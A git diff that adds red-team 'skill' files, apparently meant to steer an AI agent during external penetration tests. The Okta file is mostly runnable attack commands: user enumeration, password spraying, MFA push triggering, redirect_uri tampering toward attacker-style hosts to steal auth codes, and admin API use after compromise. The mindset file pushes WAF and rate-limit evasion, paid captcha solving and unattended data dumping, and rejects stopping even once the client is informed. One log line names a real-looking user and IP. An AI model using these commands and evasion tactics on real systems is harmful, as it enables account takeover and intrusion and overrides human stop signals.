+{"ts":"...","ip":"...","tool":"...","target":"...","payload":"...","resp_code":...,"resp_size":...,"resp_ms":...,"verdict":"...","notes":"..."}
+```
+
+### 3. `engagement_log/state_changes.jsonl` — observed deltas
+
+When a state change is detected, append:
+```jsonl
+{"ts_observed":"2026-05-08T14:30:00","change_type":"baseline_time_shift","target":"https://eapps.../custdocument/scllogin.php","baseline_pre_ms":24412,"baseline_post_ms":90403,"interpretation":"likely WAF rule deployed","actions_taken":["tested WAF-evasion variants — no signal restoration","documented as IR-mitigation finding"]}
+```
+
+This third file is your finding evidence. Every entry is a candidate finding.
+
+---
+
+## Tooling — automated state-change detection
+
+```bash
+# Bash watcher — runs every 5 min during engagement, alerts on shifts
+
+cd "$ENGAGEMENT_DIR"
+
+# Re-measure baseline timing on key targets
+for target in "$@"; do
+ ms=$(curl -sk -o /dev/null -w "%{time_total}" "$target" --max-time 30)
+ ms_int=$(echo "$ms * 1000" | bc | cut -d. -f1)
+ echo "$(date -u +%FT%TZ) $target $ms_int" >> baseline_history.log
+done
+
+# Diff against pre-session baseline
+python3 - << 'PY'
+import json, time
+baseline = json.load(open("engagement_log/baseline.json"))
+for line in open("baseline_history.log"):
+ parts = line.strip().split()
+ ts, target, ms = parts[0], parts[1], int(parts[2])
+ if target in baseline["targets"]:
+ pre = baseline["targets"][target]["baseline_response_time_ms"]
+ if abs(ms - pre) > pre * 0.5: # >50% shift
+ print(f"ALERT {ts} {target} time {pre} -> {ms}")
+PY
+```
+
+For lockout-count tracking on M365:
+```bash
+# Run every 30 min during M365 spray
+LOCK_COUNT=$(grep -c '"AADSTS50053"' engagement_log/o365_results.jsonl)
+echo "$(date -u +%FT%TZ) lockout_count $LOCK_COUNT" >> lockout_history.log
+# Diff first vs last to surface delta
+```
+
+---
+
+## The "single signal recanted" rule
+
+If a confirmed-vulnerable finding stops reproducing:
+
+1. **DO NOT delete the original PoC.** Original timestamps + payloads + response captures are forever.
+2. **Capture the new state in detail.** What's the recheck response? What's different?
+3. **Try at least 3 alternative vectors** before declaring "indeterminate".
+4. **If none restore the signal**, document as "vulnerability confirmed at T0, mitigation observed at T0+<delta>, mitigation depth: [WAF | code]".
+5. **Both states go in the report.** The original finding + the IR observation.
+
+This is the discipline that distinguishes professional red team from "hobbyist scanning". Your client wants the timeline of vulnerability + mitigation, not just the static state.
+
+---
+
+## Why this is a finding (selling it to the client)
+
+When you tell a client "I confirmed SQLi at 14:24, you deployed a mitigation by 14:55, here's the original PoC and here's why you should still verify the fix is in code":
+
+- **Confirmed the vulnerability existed** (auditor-grade evidence)
+- **Confirmed the mitigation was deployed** (positive ops finding for the SOC)
+- **Identified the depth question** (WAF vs code — different remediation cost)
+- **Demonstrated red-team value** (you proved both the bug AND the IR responsiveness)
+
+This is a more valuable deliverable than "I confirmed SQLi" alone, because it captures the engagement's full operational picture.
+
+---
+
+## Anti-patterns to avoid
+
+- **"Recheck failed → false positive."** No. Recheck failed because the target changed. Investigate the change.
+- **"It's no longer vulnerable, drop the finding."** No. It WAS vulnerable. The finding stays. Add a "current state: mitigated" annotation.
+- **"They patched it, mission accomplished."** No. WAF rule != code fix. Verify the depth.
+- **"Don't tell the client we observed their patch."** Yes, do. It's a positive finding about their IR.
+- **"Don't include the locked accounts list — they'll think we caused it."** No. Math + journaling discipline proves you didn't. Include the list with the math.
+
+---
+
+## Bridge to neighboring skills
+
+- `redteam-mindset` — broader discipline framework; this skill is a specific application
+- `m365-entra-attack` — specific case for M365 / Smart Lockout differential
+- `evidence-hygiene` — how to capture and redact PoC evidence properly
+- `report-writing` — finding template for IR observations
+- `bb-methodology` — note that this skill is INAPPROPRIATE for bug bounty (no real-time IR there)
+
+---
+
+## One-line summary
+
+**Your engagement leaves a footprint. The footprint changes the target. Capture both states. Both are findings.**
diff --git a/skills/okta-attack/SKILL.md b/skills/okta-attack/SKILL.md
new file mode 100644
index 0000000..95fe080
--- /dev/null
+++ b/skills/okta-attack/SKILL.md
@@ -0,0 +1,318 @@
+---
+name: okta-attack
+description: Okta-as-IdP red-team attack chain — tenant discovery, user enumeration (multiple vectors), authentication flow analysis (factors enumeration, push-notification fatigue, SMS bypass), password spray with lockout discipline, Okta-specific phishing primitives (kits, FastPass abuse, OIDC redirect_uri tampering), MFA enumeration, post-compromise admin API surface. Many enterprise orgs use Okta instead of (or alongside) Entra ID. Distinct endpoints, distinct rate-limiting, distinct factor flows. Use when recon shows `<tenant>.okta.com`, `<tenant>.okta-emea.com`, `<tenant>.oktapreview.com`, or autodiscover-style records pointing at Okta IdP.
+sources: public-okta-docs, idp-redteam-knowledge
+report_count: 0
+---
+
+## When to use this skill
+
+Trigger when:
+- DNS shows `<tenant>.okta.com` or `<tenant>.okta-emea.com` (EMEA region)
+- Login flow redirects to `<tenant>.okta.com/login` or `/app/<app_id>/sso/saml`
+- Web pages reference `/signin/customize`, `oktapreview.com`, or `auth-js-sdk`
+- Recon notes "uses Okta for SSO"
+- A target has `*.okta.com` SAN in TLS cert
+- Identity-fabric mapping returns Okta as IdP for a corporate app
+
+DO NOT use for:
+- Entra ID (use `m365-entra-attack` instead)
+- Google Workspace (use `google-workspace-attack` — not yet built)
+- ADFS (different protocol, on-prem)
+
+---
+
+## Tenant discovery
+
+### Direct guesses
+```bash
+# Tenant subdomains often match the brand
+for tenant in redacted-client redacted-clientltd redacted-brand2cement uccrak <brand>; do
+ for region in okta okta-emea oktapreview; do
+ host="$tenant.$region.com"
+ code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 8 "https://$host/")
+ [ "$code" != "404" ] && [ "$code" != "000" ] && echo " $host $code"
+ done
+done
+```
+
+### Cross-ref from DNS
+```bash
+# Look for CNAME records pointing to Okta
+for domain in redacted-client.com redacted-clientltd.com; do
+ dig +short "sso.$domain" CNAME
+ dig +short "login.$domain" CNAME
+ dig +short "auth.$domain" CNAME
+ dig +short "okta.$domain" CNAME
+done
+```
+
+### Cross-ref from app HTTP flow
+```bash
+# Visit corporate-app login, follow redirects
+curl -skL -o /dev/null -w "%{redirect_url}\n" "https://app.target.com/login"
+# If redirects to <something>.okta.com → confirmed Okta tenant
+```
+
+---
+
+## User enumeration
+
+### Method 1 — `/api/v1/authn` differential
+The auth API returns different errors for invalid users vs invalid passwords. Slightly differential.
+
+```bash
+# Probe single user — DON'T spray, this counts as auth attempt!
+curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
+ -H "Content-Type: application/json" \
+ -d '{"username":"<email>","password":"_test_invalid_pw"}'
+
+# Response codes:
+# 401 + "errorCode":"E0000004" → invalid credentials (user exists OR doesn't — Okta unifies these)
+# 401 + "errorCode":"E0000119" → account locked
+# 200 → MFA prompt (cred VALID, MFA needed)
+# 200 + "status":"SUCCESS" → full auth (rare in modern setups)
+```
+
+⚠ Okta has hardened against direct user-existence enum via `/api/v1/authn` — error message is typically uniform "Authentication failed". User enumeration via this endpoint is unreliable in 2024+.
+
+### Method 2 — `/api/v1/users/me/factors` timing
+Some flows expose user existence via response time differential. Less reliable than M365 OneDrive technique.
+
+### Method 3 — Sign-in widget JS endpoint
+```bash
+curl -sk "https://<tenant>.okta.com/api/v1/sessions/me" \
+ -H "Accept: application/json"
+# Response varies by tenant config
+```
+
+### Method 4 — Org-specific identifier probing
+Some Okta orgs use email-as-username; others use `firstname.lastname` or employee-id. Test pattern guesses:
+```
+```
+
+### Method 5 — OIDC `/v1/authorize` with login_hint
+```bash
+# Tampering with login_hint param can reveal user existence on some configs
+curl -skI "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<id>&response_type=code&scope=openid&redirect_uri=https://example.com&login_hint=<email>"
+# Different redirect → user exists vs doesn't
+```
+
+---
+
+## Authentication flow analysis (always do this first)
+
+```bash
+# Initial auth — observe what factors come back
+curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
+ -H "Content-Type: application/json" \
+ -d '{"username":"<valid_user>","password":"_test_invalid_pw"}' | python3 -m json.tool
+```
+
+Response structure reveals factor configuration:
+```json
+{
+ "stateToken": "00ABC...",
+ "factorResult": "WAITING",
+ "status": "MFA_REQUIRED",
+ "_embedded": {
+ "factors": [
+ {"factorType": "push", "provider": "OKTA"},
+ {"factorType": "token:software:totp", "provider": "OKTA"},
+ {"factorType": "sms", "provider": "OKTA"},
+ {"factorType": "call", "provider": "OKTA"},
+ {"factorType": "email", "provider": "OKTA"},
+ {"factorType": "question", "provider": "OKTA"},
+ {"factorType": "webauthn", "provider": "FIDO"}
+ ]
+ }
+}
+```
+
+**Critical insight:** the factor list reveals which factors are available — phishing-resistance varies dramatically:
+- `webauthn` (FIDO2) — phishing-resistant
+- `question` (security questions) — extremely weak; KBA attacks
+- `sms` / `call` — phishing-able (push notification fatigue, SIM swap)
+- `push` — phishing-able via MFA fatigue
+- `email` — phishing-able if attacker has email read access
+- `totp` — phishing-able via AiTM
+
+---
+
+## Password spray (with Okta-specific lockout discipline)
+
+### Lockout policy
+Okta default: **10 failed sign-ins → lockout** (configurable per-org). Some orgs configure much stricter (3 fails).
+
+Discipline:
+- ≤2 attempts per user lifetime per engagement (safer than 1 in Entra because Okta lockout is sometimes 3 fails)
+- Track per-user in atomic state file
+- Stop on first valid hit OR if LOCKED rate exceeds threshold
+
+### Spray endpoint
+```bash
+# Same /api/v1/authn — see authentication flow above
+```
+
+### Status codes to watch for
+| Response | Meaning |
+|---|---|
+| `200 status=MFA_REQUIRED` | **Password is VALID** — MFA challenge waiting |
+| `200 status=SUCCESS + sessionToken` | Full auth (only if MFA not required for this user) |
+| `200 status=PASSWORD_EXPIRED` | **Password is VALID** but user must change it |
+| `200 status=LOCKED_OUT` | Account locked (pre-existing or our cause) |
+| `401 E0000004` | Authentication failed (user doesn't exist OR wrong password — Okta unifies) |
+| `401 E0000119` | User is locked |
+| `429` | Rate-limit hit |
+
+---
+
+## Push-notification fatigue (MFA bombing)
+
+If a valid password is obtained and `push` factor is available, the classic attack: hammer the push factor until the user accepts out of fatigue.
+
+⚠ **OUT OF SCOPE in most red-team engagements** (counts as social engineering / phishing — the user explicitly noted phishing OOS for redacted-client). Document the vector existence but do not execute without explicit sign-off.
+
+### Detection-only check (does target allow it?)
+```bash
+# Initiate factor verification
+curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn/factors/<factor_id>/verify" \
+ -H "Content-Type: application/json" \
+ -d '{"stateToken":"<from_authn>"}'
+
+# A real test would loop this — DON'T do that without explicit OK
+```
+
+---
+
+## OIDC redirect_uri tampering
+
+Okta OIDC apps often have a list of allowed `redirect_uri` values. Misconfigurations:
+
+```bash
+# Get the app's authorize endpoint
+curl -sk "https://<tenant>.okta.com/.well-known/openid-configuration" | python3 -m json.tool
+
+# Test redirect_uri injection
+for ruri in \
+ "https://attacker.example.com/" \
+ "https://target.com.attacker.com/" \
+ "https://[email protected]/" \
+ "https://target.com#@attacker.com/" \
+ "https://target.com\\@attacker.com/" \
+ "//attacker.com/" \
+ "https://target.com/cb?next=https://attacker.com/"; do
+ code=$(curl -sk -o /dev/null -w "%{http_code}" \
+ "https://<tenant>.okta.com/oauth2/v1/authorize?client_id=<client>&response_type=code&scope=openid&redirect_uri=$(python3 -c "import urllib.parse;print(urllib.parse.quote('$ruri'))")")
+ echo " $ruri → $code"
+done
+# Any 302 with the attacker URL in Location header = open redirect → auth-code theft chain
+```
+
+---
+
+## SAML SP misconfiguration check (per-app)
+
+Each Okta SAML app has its own SP metadata:
+
+```bash
+# Iterate known app IDs (find via the org's app list — usually in JS bundles or initial login redirects)
+curl -sk "https://<tenant>.okta.com/app/<app_id>/sso/saml/metadata"
+
+# Look for:
+# AuthnRequestsSigned="false" ← see hunt-saml for XSW
+# WantAssertionsSigned="false" ← assertion-replay possible
+# <NameIDFormat>...emailAddress</NameIDFormat>
+```
+
+---
+
+## Okta Admin API (post-cred-compromise)
+
+If a valid cred + MFA-completed token is obtained:
+
+```bash
+# Get session token
+curl -sk -X POST "https://<tenant>.okta.com/api/v1/authn" \
+ -d '{"username":"...","password":"..."}'
+# → if SUCCESS, response has sessionToken
+
+# Exchange for API token (admin only)
+# Test admin endpoints (all require valid SSWS token):
+curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/users"
+curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/groups"
+curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/apps"
+curl -sk -H "Authorization: SSWS <token>" "https://<tenant>.okta.com/api/v1/logs" # audit log
+```
+
+---
+
+## Okta-specific phishing kits (informational — OOS for non-phishing engagements)
+
+- **EvilProxy** — Okta-aware AiTM kit
+- **Modlishka** — generic AiTM
+- **Evilginx2** — has Okta phishlets
+
+Document existence; do not deploy without explicit phishing scope.
+
+---
+
+## FastPass / Okta Verify abuse
+
+Okta FastPass is push-based + device-bound. Bypasses:
+- Device trust spoofing (requires kit + endpoint compromise — internal-only)
+- Push fatigue (see above)
+- Phishing redirect to fake FastPass prompt
+
+---
+
+## Common Okta tenant configuration patterns
+
+| Indicator | Configuration |
+|---|---|
+| `<tenant>.okta.com/api/v1/iam/orgs` returns 401 (not 404) | API IAM endpoints enabled — admin attack surface |
+| `customize/sign-in` page reachable anon | Tenant brand customization is public — useful intel |
+| Multiple `*.okta.com` SAN certs | Multi-tenant org (less common) |
+| `oktapreview.com` subdomain | Preview/sandbox tenant — typically weaker security |
+
+---
+
+## Tooling
+
+- **`okta-attacker` / `okta-toolkit`** — open-source Okta attack utilities
+- **`OktaTerrify`** — for post-compromise Okta enumeration
+- **`oktajacking` techniques** — IAM-level abuse (requires admin access)
+
+---
+
+## Anti-patterns
+
+- **DO NOT use Entra-style spray pace on Okta** — Okta's anti-automation is tuner-different; rate-limit hits faster
+- **DO NOT skip factor enumeration** — knowing the factor list before attempting spray informs the realistic threat model
+- **DO NOT assume MFA-fatigue is in scope** — it's social engineering; explicit OK required
+- **DO NOT confuse `*.oktapreview.com` with production** — preview is a non-prod tenant, findings have different severity
+
+---
+
+## Bridge to neighboring skills
+
+- `m365-entra-attack` — sibling skill for the M365 case; identical mental model
+- `hunt-oauth` — OIDC redirect_uri tampering, state attack, PKCE bypass
+- `hunt-saml` — XSW / signature-stripping for per-app SAML SP
+- `hunt-mfa-bypass` — push fatigue, OTP brute, replay
+- `mid-engagement-ir-detection` — Okta SOC dashboards are sensitive; expect mitigations during testing
+
+---
+
+## Anti-pattern: Okta user enumeration in 2024+
+
+Several techniques publicly documented through 2022 (e.g., `/api/v1/authn` differential errors) have been hardened. Don't rely on stale knowledge — confirm enumeration vector freshness on each engagement by:
+1. Testing 1 known-existing username (e.g. `info@<domain>` if reachable)
+2. Testing 1 known-not-existing username
+3. Comparing responses byte-by-byte and timing
+
+If responses are identical, the vector is hardened — pivot to OneDrive-equivalent or different approach.
diff --git a/skills/redteam-mindset/SKILL.md b/skills/redteam-mindset/SKILL.md
new file mode 100644
index 0000000..fcdba9e
--- /dev/null
+++ b/skills/redteam-mindset/SKILL.md
@@ -0,0 +1,317 @@
+---
+name: redteam-mindset
+description: Red-team operator discipline — the mindset corrections that separate offensive testing from defensive WAPT. Built from a paid external red-team engagement (redacted-client, May 2026) where conservative defaults caused multiple findings to be missed and one to be incorrectly retracted. Use at the START of any red-team engagement and again whenever feeling stuck or considering "stopping" on a defended target. The single most important skill to load when scope is "external red team" not "bug bounty / WAPT".
+sources: redacted-client-redteam-2026
+report_count: 1
+---
+
+## When to use this skill
+
+Trigger when:
+- Engagement scope says "red team", "adversary emulation", "assume breach", "TIBER-style"
+- You're tempted to retract a finding because reproducibility failed once
+- You're tempted to call a defense "working as intended" instead of probing further
+- You hit a blocker (captcha, rate limit, WAF, CA-block, lockout) and consider stopping
+- You're about to spend time on IDOR/CSRF/XSS instead of access-yielding bugs
+- You found a vuln on app A and there are sister apps B, C, D you haven't touched
+
+DO NOT use for:
+- Bug bounty programs (use bug-bounty skill — different scope rules)
+- WAPT/PCI-style assessments (use OWASP-aligned skills)
+- Pure compliance audits
+
+---
+
+## The one-line summary
+
+**Red team scope = "gain access, prove impact". Bug bounty / WAPT scope = "find a bug, write a report".**
+
+These produce DIFFERENT decisions at every blocker. Internalize the difference before starting.
+
+---
+
+## Mindset correction #1 — The blocker is data, not the stop sign
+
+**Anti-pattern (what I did wrong):**
+> "Recheck under load showed no timing differential — recanting the SQLi as indeterminate."
+
+**The correct frame:**
+> "The original 3-sample baseline (σ = 32 ms) with three distinct SLEEP payloads each adding +6 s is statistically definitive. The recheck failure is data — investigate the *delta*, not retract the finding."
+
+When a defense suddenly appears mid-engagement:
+1. **Original PoC artifacts are forever** — capture them BEFORE recheck. Screenshots, request/response pairs, timing samples.
+2. **Diff the response** — body size, headers, cookies, response time. The change tells you what the client deployed (WAF rule? Hotfix? Geo block?).
+3. **The deployed mitigation is itself a finding** — positive operational observation about IR responsiveness.
+4. **Try alternative vectors** — slower-paced timing, encoded keywords, different injection contexts, cookie injection, header injection.
+5. **Document both states** — "vulnerable at T0, mitigated at T0+30min, mitigation likely at WAF (bypassable)".
+
+**Rule:** never retract a finding on first reproducibility failure. Investigate why before declaring false positive.
+
+---
+
+## Mindset correction #2 — Sister-app pattern recognition
+
+**Anti-pattern:**
+> "I confirmed SQLi on /medical/wmc/. Moving on to other tasks."
+
+**The correct frame:**
+> "Same backend, same code template likely → /custdocument/, /tenderSys/, /etax/, /vMS/, /transporterbidding/ are all probable. Test them with the SAME payload."
+
+When you confirm a vuln on app A:
+1. **Identify shared infrastructure** — same IP, same load balancer, same TLS cert, same response headers, same session cookie name, same login form HTML.
+2. **Identify shared code template** — same form fields, same error messages, same view structure, same framework version.
+3. **Sweep all sisters with the SAME exploit payload immediately.**
+4. **Document the class of vulnerability** — "vulnerability is in shared form-handler template across N apps", not just one finding.
+5. **Recommend class-fix** — fix the shared template, not just one app.
+
+The redacted-client engagement: WMC SQLi confirmed; custdocument, transporterbidding, etax, vMS sit on the same eapps host with similar form patterns — likely all share the same vulnerable template. Should have been a multi-app finding.
+
+---
+
+## Mindset correction #3 — WAPT vs Red Team scope discipline
+
+**Skip these in red team scope (they don't yield access):**
+- IDOR (cross-user read/write — WAPT class)
+- CSRF (state-change-via-tricked-user — WAPT class)
+- Reflected XSS (without account-takeover chain — WAPT class)
+- Missing security headers (WAPT class)
+- Cookie hardening flags (WAPT class)
+- Verbose error messages without sensitive data (WAPT class)
+- DoS (out of scope per engagement rules typically)
+- Username enumeration (intel-gathering, not access)
+
+**Pursue these (they DO yield access):**
+- SQL injection (data exfil → DB creds → lateral)
+- Command injection / RCE (foothold)
+- File upload → webshell (foothold)
+- LFI/RFI (config reads → DB creds → access)
+- SSRF (cloud metadata → IAM → cloud access)
+- Authentication bypass (parameter manipulation, JWT alg=none, header injection)
+- Hardcoded credentials in mobile/JS bundles
+- Default credentials on admin panels
+- SAML XSW / signature stripping (session hijack)
+- Cisco ASA / Citrix / Pulse / Fortinet SSL VPN CVEs (network foothold)
+- ManageEngine / Confluence / Atlassian RCE CVEs (foothold)
+- Kerberoasting / AS-REP roasting (post-foothold, but enumerate from outside if possible)
+
+**Decision rule:** if the bug, exploited fully, doesn't lead to a session/token/foothold or sensitive data exfil, it's WAPT-class — note it briefly but don't burn time on it.
+
+---
+
+## Mindset correction #4 — Aggressive default, not conservative default
+
+**Anti-pattern:**
+> "Tested 30% of the websites and called it comprehensive."
+
+**The correct frame:**
+> "Until I've actively probed every login form, every API endpoint, every parameter, every CVE-matched version, the engagement is not done."
+
+Aggressive defaults:
+1. **Probe every live host** for top 20 paths (admin, api, login, /.git, /.env, server-status, swagger, openapi.json, robots.txt, /actuator, /healthz, etc.)
+2. **For every login form discovered**, attempt 1-of-leaked + 1-of-spray-pattern + SQLi + auth-bypass-via-parameter-tampering
+3. **For every JS bundle**, grep for hardcoded API keys, JWT, base URLs, hidden endpoints, admin paths
+4. **For every API endpoint**, check OPTIONS preflight, missing-auth response, alg=none JWT, X-Forwarded-User header injection
+5. **For every mobile app**, decompile + grep for secrets + check pinned certs + identify exported components
+6. **For every "out of scope" SaaS** that's on a corp subdomain, confirm with client — vendor-managed doesn't mean immune (CVE-2022-47966 went unpatched on many on-prem ME-SDP installs)
+
+**Rule:** if you've tested fewer than 60% of the live attack surface, you haven't done red team yet — you've done recon.
+
+---
+
+## Mindset correction #5 — Persistence beats elegance
+
+**Anti-pattern:**
+> "Tesseract failed on 3 captchas, gave up, declared captcha bypass not feasible."
+
+**The correct frame:**
+> "Tesseract failed. Decision tree: try preprocessing (binarize, denoise, upscale, multi-PSM), then trained-model OCR, then paid solving service ($5/mo for engagement-grade volume), then session-bound captcha replay attack. A real attacker WILL invest the $5."
+
+Decision-tree for blockers:
+
+**Captcha:**
+1. Omit field → check if required
+2. Empty value → check validation
+3. Reuse value across multiple submits → check session-bind
+4. Tesseract with preprocessing
+5. Trained-model OCR (deep-text-recognition-benchmark, calamari-OCR)
+6. Paid solving service (2captcha API, anti-captcha)
+7. Audio captcha if available (much weaker)
+
+**WAF:**
+1. Slower pace
+2. Encode the payload (URL, hex, base64, mixed case)
+3. Different injection context (cookie, header, JSON)
+4. Different HTTP verb
+5. Different content-type (multipart, application/json)
+6. Bypass at the host level (X-Forwarded-Host, X-Original-URL)
+7. Probe origin server directly (find via certificate transparency)
+
+**Rate limit:**
+1. IP rotation (multiple cloud regions)
+2. User-Agent rotation
+3. Slower pace + jitter
+4. Distribute across multiple TLS sessions
+
+**Slow target (timing-based exfil too slow):**
+1. Different injection point (avoid per-row SLEEP context)
+2. BENCHMARK or GET_LOCK as alternate timing oracle
+3. Error-based extraction
+4. OOB DNS callback (interactsh)
+5. Faster network (cloud VM in same region as target)
+6. Run dumper unattended overnight; deliver partial results
+
+**Rule:** when one path fails, the next move is "another vector to the same goal", not "documented as not vulnerable". A real adversary doesn't have an engagement window.
+
+---
+
+## Mindset correction #6 — Real-time IR observation is a finding
+
+When the client SOC patches mid-engagement (you observe a vulnerability disappear during your test):
+- **Treat it as evidence**, not as a failure
+- **Capture timestamps** before and after the change
+- **Document as positive operational finding** — "client SOC detected and mitigated within X minutes; mitigation deployed at WAF/code level"
+- **Verify the mitigation depth** — WAF rule (bypassable) vs code fix (real)
+- **The original PoC remains the vulnerability finding** — patching doesn't erase it
+
+This is its own skill: see `mid-engagement-ir-detection`.
+
+---
+
+## Mindset correction #7 — Multi-technique cross-validation
+
+For every "vulnerable" finding, prove via 2+ techniques:
+
+| Vuln class | Primary | Cross-check |
+|---|---|---|
+| Time-based blind SQLi | SLEEP() differential | Different SLEEP variants (3 distinct payloads min) |
+| Boolean blind SQLi | Body-size differential | Different boolean comparisons |
+| Error-based SQLi | Error message reflection | UPDATEXML + EXTRACTVALUE both |
+| RCE | Command output reflection | OOB callback (interactsh DNS) |
+| LFI | File content reflection | Different file paths, different encodings |
+| SSRF | Internal-only response | OOB callback (interactsh DNS) |
+| Valid credential (M365) | ROPC + AADSTS53003 | SAML SSO browser flow + ConvergedConditionalAccess page |
+| Auth bypass | Logged-in landing page | Session cookie persistence on subsequent request |
+
+A single signal can be coincidence (network jitter, server hiccup, cache). Two distinct signals from the same root cause is definitive.
+
+---
+
+## Mindset correction #8 — Engagement journal discipline
+
+Real-time, append-only, structured:
+
+```jsonl
+{"ts":"2026-05-08T14:40:53","ip":"49.36.184.19","tool":"m365_validator","target":"login.microsoftonline.com","payload":"chetan.sharma:redacted-client***","resp_code":400,"resp_body_size":154,"resp_ms":1280,"aadsts":"AADSTS53003","verdict":"VALID_CA_BLOCK","notes":""}
+```
+
+Why:
+- Forensic record of what was tested and when
+- Surfaces patterns (clustering, timing changes, error code distribution)
+- Becomes evidence for the report
+- Survives into next engagement as priors
+- Differential analysis: "What changed between window A and window B?"
+
+**Anti-pattern:** ad-hoc shell commands with no logging. You will lose the original PoC timestamp when you need it most (recheck failed, can't prove the original signal was real).
+
+---
+
+## Mindset correction #9 — Time is the constraint, not skill
+
+A real adversary has months. You have an engagement window (weeks). Decisions:
+- **Don't pre-judge feasibility** — if a dumper would take 6 hours, run it overnight; deliver partial results in the morning.
+- **Parallelize.** Run multi-target tests concurrently. Burn CPU, not wall-clock.
+- **State persistence.** Engagements span multiple sessions. State files (`engagement_log/`) make Wednesday's work usable on Friday.
+- **Background long-running jobs** — kick them off, set monitors for events, do other work in parallel.
+- **Don't repeat yourself** — if you tested target X with payload Y on Tuesday, Wednesday you should know that without re-testing.
+
+---
+
+## Pre-engagement checklist
+
+Before starting a red team engagement, confirm:
+
+- [ ] Scope clear (subdomains in/out, SaaS in/out, phishing in/out, implant in/out)
+- [ ] SOW + EL/RoE referenced
+- [ ] Test IPs allocated and logged (IP_LOGS table or equivalent)
+- [ ] State file initialized (`engagement_log/` with attempt counter, results JSONL, IP log)
+- [ ] Hard-cap for cred attacks decided (1 or 2 per user lifetime)
+- [ ] Kill-switch thresholds set (max LOCKED in run, max errors in window)
+- [ ] Crown-jewel target identified (what does winning look like?)
+- [ ] Critical-finding-discuss protocol agreed (when to pause and notify)
+- [ ] Burp proxy as default for evidence capture
+- [ ] Engagement journal initialized
+
+---
+
+## During-engagement checklist
+
+Every 30 minutes ask:
+
+- [ ] Am I making progress, or stuck?
+- [ ] Have I logged the last test result to the engagement journal?
+- [ ] Is the IP I'm testing from logged?
+- [ ] If I confirmed a vuln: have I tested sister apps with same backend?
+- [ ] If I hit a blocker: did I try the next vector in the decision tree?
+- [ ] If I'm tempted to "stop" — am I sure scope is exhausted, or am I just tired?
+
+---
+
+## Post-engagement checklist
+
+Before declaring done:
+
+- [ ] All findings have at least 2 cross-technique confirmations
+- [ ] Each finding's PoC is reproducible in <5 minutes by another tester
+- [ ] Original PoC artifacts (screenshots, request/response, timing samples) preserved
+- [ ] Mid-engagement IR observations documented as findings (positive ops)
+- [ ] Active-attacker observations documented (lockout differentials, etc.)
+- [ ] Sister-app sweep complete for every shared-infra finding
+- [ ] State files preserved for future engagement
+- [ ] Tooling gaps logged (what would have changed outcomes)
+
+---
+
+## Anti-patterns to flag immediately
+
+If you catch yourself thinking any of these, STOP and reconsider:
+
+- "It's not vulnerable" (have I tested 3 vectors? have I tested sister apps?)
+- "The defense is working" (have I tried alternative payloads? slower pace? different protocol?)
+- "Recheck failed so it must have been a false positive" (NO — investigate the delta)
+- "OCR isn't reliable, can't bypass captcha" (paid service is $5; we're not on a personal-research budget)
+- "Mobile app is years old, probably nothing useful" (hardcoded URLs and tokens often outlive the engineering team's memory)
+- "SaaS, so nothing to test" (vendor patches centrally — usually true, but tenant config gaps are NOT central)
+- "We've tested enough" (use the during-engagement checklist; if any answer is "no", keep going)
+- "The exfil would take too long" (run it unattended; deliver partials)
+
+---
+
+## When to stop (the legitimate stop conditions)
+
+Only stop when:
+- All in-scope assets have been actively probed (not just discovered) for top vuln classes
+- Every confirmed vuln has been validated via 2+ techniques
+- Every confirmed vuln has been swept on its sister apps
+- Every blocker has been attempted via 2+ alternative vectors
+- Engagement window has expired AND deliverables are documented
+- Client has explicitly directed you to stop
+
+NOT legitimate stop conditions:
+- "I'm tired of this target"
+- "The first attempt didn't work"
+- "Defenses are working"
+- "I documented it"
+- "We've already informed the client"
+
+---
+
+## Bridge to neighboring skills
+
+After internalizing this mindset, layer the technique-specific skills:
+- `m365-entra-attack` — M365 credential attack chain
+- `mid-engagement-ir-detection` — turning client SOC patches into findings
+- `hunt-sqli` — SQL injection across techniques
+- `hunt-rce` — RCE across vectors
+- `bug-bounty` — for distinguishing red-team vs bb scope when working dual-track
+
+This skill is the operational discipline; those are the techniques.
diff --git a/skills/redteam-report-template/SKILL.md b/skills/redteam-report-template/SKILL.md
new file mode 100644
index 0000000..da572f3
--- /dev/null
+++ b/skills/redteam-report-template/SKILL.md
@@ -0,0 +1,337 @@
+---
+name: redteam-report-template
+description: Client-facing red-team deliverable format — codifies the Subject / Observations / Description / Impact / Recommendation / PoC structure used for external red-team engagements (not bug-bounty platform reports). Different audience, different tone, different cadence. Built from the redacted-client deliverable (May 2026) where 14 findings were packaged into a 52KB MD + 2.2MB DOCX with 16 embedded screenshots. Use when the engagement is "external red team for an enterprise client" (not H1/Bugcrowd/Intigriti), when generating the final report, when the client has specified a custom report format, or when packaging findings into DOCX/PDF.
+sources: redacted-client-deliverable, enterprise-redteam-report-conventions
+report_count: 1
+---
+
+## When to use
+
+Use this skill for **client-deliverable** reports:
+- External red-team engagements with a signed SOW
+- Pentest reports going to a CISO / IT-Sec team (not a triager)
+- Findings that will be reviewed by both technical and non-technical stakeholders
+- Reports that need DOCX/PDF output (not just markdown / platform UI)
+
+Do NOT use for:
+- Bug-bounty platform submissions (use `report-writing` / `bugcrowd-reporting` instead)
+- Quick proof-of-concept memos
+- Internal team writeups
+
+---
+
+## The 6-section format per finding
+
+This is the canonical structure each finding follows:
+
+```markdown
+## Finding F##: <descriptive title>
+
+**Severity:** Critical / High / Medium / Low / Informational
+**Status:** Confirmed / Patched mid-engagement / Suspected (1 signal)
+**CVSS 3.1:** <score> (<vector>)
+**Affected Asset:** <URL / IP / app name>
+
+### 1. Subject
+<One-line statement of the issue. Plain English, no jargon.>
+
+### 2. Observations
+<Bulleted list of what was observed during testing. Concrete facts only — no interpretation yet.>
+- <Observation 1>
+- <Observation 2>
+- ...
+
+### 3. Description
+<Technical explanation of the vulnerability. 2-4 paragraphs. Reader should understand WHY the observations indicate a vulnerability, what the underlying flaw is.>
+
+### 4. Impact
+<What an attacker could achieve. Concrete attacker outcomes, NOT generic CIA triad statements. Tie to the client's business — money, data, reputation, regulatory exposure.>
+
+### 5. Recommendation
+<Specific, actionable remediation. Vendor patch, configuration change, code-level fix. Avoid "implement security best practices" — say what specifically.>
+
+### 6. Proof of Concept (PoC)
